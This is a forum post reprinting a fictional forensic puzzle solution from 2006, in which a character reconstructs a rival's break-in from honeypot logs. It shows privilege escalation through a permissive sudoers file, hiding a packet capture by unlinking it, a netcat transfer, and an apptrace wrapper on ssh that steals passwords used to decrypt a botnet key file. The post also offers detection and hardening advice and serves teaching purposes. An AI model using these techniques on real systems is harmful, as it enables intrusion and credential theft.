Title: Skillz July 06 Winning Entry - Technical
Post by: don on August 21, 2006, 12:24:49 AM
Dean De Beer
Looking at the details of O-ren's hack against his account, Bill thought
about how proud he was of her. He was glad now that he had setup a sebek
server on snakepit when he did. (http://www.honeynet.org/tools/sebek/) He
wasn't surprised that she was the first to gain access to his account and
botnet, her h4x0r skillz were as formidible as her Kung Fu. She also had a
ruthless ambition the others lacked. He was a little disapointed that she
had not attempted to cover her tracks more completely though. That
arrogance would be her downfall one day. But for now Boss Tananka was about
to be "retired" and Tanaka's replacement would be somebody that he had
helped shape and could now influence. It was some much more satisfying to
remain in the shadows and manipulate events. Hence his alias, the Snake
Smiling, he began to go through the logs in more detail. He looked at the
first command she ran after logging in as Cottonmouth,
cottonmouth@snakepit:~ $ cat /etc/sudoers
root ALL=(ALL) ALL
snakecharmer ALL=(ALL) ALL
cottonmouth ALL=(ALL) ALL
californiamountainsnake ALL=(ALL) ALL
copperhead ALL=(ALL) ALL
blackmamba ALL=(ALL) ALL
sidewinder ALL=(ALL) ALL
With sudo, root privileges can be granted to individuals even though root's
password is unknown and in this case all of the users are able to run any
command they choose as root. The first "ALL" refers to all machines on
network. This meant that any command could be run on any machine in the
network! This "lapse" in security was the way in for O-ren. Using visudo to
edit the /etc/sudoers file, Bill began to modify the file limiting what
commands could be run by the users. He begain listing each command that they
would be able to run using sudo. for example:
cottonmouth snakepit= /bin/mount, /bin/umount
Currently with the existing rights each user had it was easy for O-ren to
run the following:
cottonmouth@snakepit:~ $ sudo su -
Using the sudo command she ran the su command and was logged in as root. The
advantage of her being logged in as root is that any commands she now runs
do not appear in the logs. After changing into the /home/cottonmouth
directory of her account she then creates a folder that uses <space> as the
folder name. This is pure obfuscation on her part. Next she changed into
the "hidden" directory as evidenced by the following command:
root@snakepit:/home/cottonmouth # cd \
The backslash is used to escape the <space>.
She then ran tcpdump:
root@snakepit:/home/cottonmouth/ # tcpdump -nnw " " &
This would dump all ethernet headers into a file named <space>.
The -n argument is used to avoid DNS lookups and so tcpdump does not convert
host addresses to names.
The -nn argument is used when you don't want to convert protocol and port
numbers to names either.
The -w argument is used to write to a file rather than stdout. In this case
data is being written to a file named <space>.
The "&" character sets the command to be running in the background.
Next O-ren ran the "list" command: (note: at this point it appears that
O-ren moved up a directory. If this is infact the case then the unlink
command that follows would not yield any results.)
root@snakepit:/home/cottonmouth # ls -i " "
The -i argument lists the inode number of the file. In this case "97314".
Good idea, Bill thought knowing why she was listing the inode number of the
file. Her next command confirmed it:
root@snakepit:/home/cottonmouth # unlink " "
She had unlinked the file. The file would now no longer show up using the
"ls" command. A quick way to hide an open file on a system. The file was
still open in a process so recovery of this file would be easy for O-ren.
Using the command "lsof +L1" O-ren could list all files with a link count of
less than one. Next she could use the inode number to confirm that the file
was indeed the correct one. This command would also display the PID that was
holding the file handle. An administrator could use the same command to find
such files. The find command could also be used:
find / -name ' ' -print
She probably did the following to recover and view the file:
cat (fd #) > recovered_file
This would effectively allow her to recover the file.
After CD'ing back to root's home directory, It looks like O-ren created
another "hidden" directory with <space> for a name. Once in the hidden
directory she ran the following command:
root@snakepit:~/ # nc -lp 5050 > apptrace
Ah, Netcat, it was so much more than the Swiss Army Knife people comapred it
to, thought Bill. O-ren had created a Netcat listener on local port 5050
that would output data to a file named apptrace. Most likely she used the
nc [snakepit IP] 5050 < apptrace_src_file
O-ren had to have sent an escape charater after the data had been transfered
otherwise the connection would have remained open.
Hmm, apptrace? that name rings a bell. Bill Stearns had created a script to
monitor applications and record all command line parameters used. From the
source of the script:
"This wrapper script will monitor that application, whether called from the
command line, inetd, or some other app, and save time of last run, command
line parameters given to the app, and strace output from running that app in
$HOME/apptrace or /tmp/apptrace..."
Was it the same one?
The next two commands confirmed Bill's suspicions:
root@snakepit:~/ # chmod +x apptrace
root@snakepit:~/ # ./apptrace /usr/sbin/ssh
After making the file executable by running the chmod command with the -x
argument, O-ren ran the apptrace script to monitor all activity of the
Secure Shell app. As this was not run from the /home directory the ouput
file would have to be retrieved from /tmp/apptrace.
After extracting the SSH password from the apptrace output file O-ren, Bill
could see that O-ren used this iinformaiton to log into his personal
root@snakepit:~ # ssh
Once she had gained access to his machine she immediatly checked his the
effective UIDs and GIDs that his account had.
[snakecharmer@localhost snakecharmer]$ id
uid=500(snakecharmer) gid=500(snakecharmer) groups=500(snakecharmer)
A UID of 500 represents a non-priviledged user.
O-ren immediately ran the sudo command again to gain root priviledges and
once again checked the UID of the account:
[snakecharmer@localhost snakecharmer]$ sudo su -
[root@localhost root]# id
She was running as root as evidenced by the UID of "0".Bill know that O-ren
must have been smiling at this point being so close to her prize.
She changed back into Bill's snakecharmer account's home directory and
listed the files in that directory:
[root@localhost snakecharmer]# ls
O-ren focused on this file. Perhaps the name was too obvious? thought Bill.
Okunote loosely translated to "secret skill". Next O-ren was temporarily
stopped in her tracks when she used the "file" command to determine what
type of file it was.
[root@localhost snakecharmer]# file okunote
okunote: PGP armored data message
Bill was using gpg to encrypt this file. She gained access to his gpg
password using ./apptrace and would have run it as follows:
Next O-ren decrypted the file:
[snakecharmer@localhost snakecharmer]$ gpg -decrypt okunote
gpg: Warning: using insecure memory!
You need a passphrase to unlock the secret key for
user: "Bill Snakecharmer <
1024-bit ELG-E key, ID 11D6CF5F, created 2006-07-06 (main key ID E921E06D)
gpg: encrypted with 1024-bit ELG-E key, ID 11D6CF5F, created 2006-07-06
"Bill Snakecharmer <
The supreme art of war is to subdue the enemy without fighting
- Sun Tzu in The Art of War
The secret password to control the bot net is: g0dz1ll4
Bill Thought about how easily she had gained access to this file and from
there to his botnet. Perhaps he should have made it a little more
challenging for her? Well, he would definitely store his private key
remotely from now on, possibly on a usb key drive. Sniffing his password
might still be possible but without the private key they would no longer be
able to decrypt the files.
But still he was proud of her. He could not let her know that he had planned
this though. He did not need that type of anger directed at him. As he was
logging off his computer Bill wondered if she had realised that the
passwords were Hex encoded:
6f74616b75 = otaku (the term otaku used by itself just means "fanatic" -
42696c6c = Bill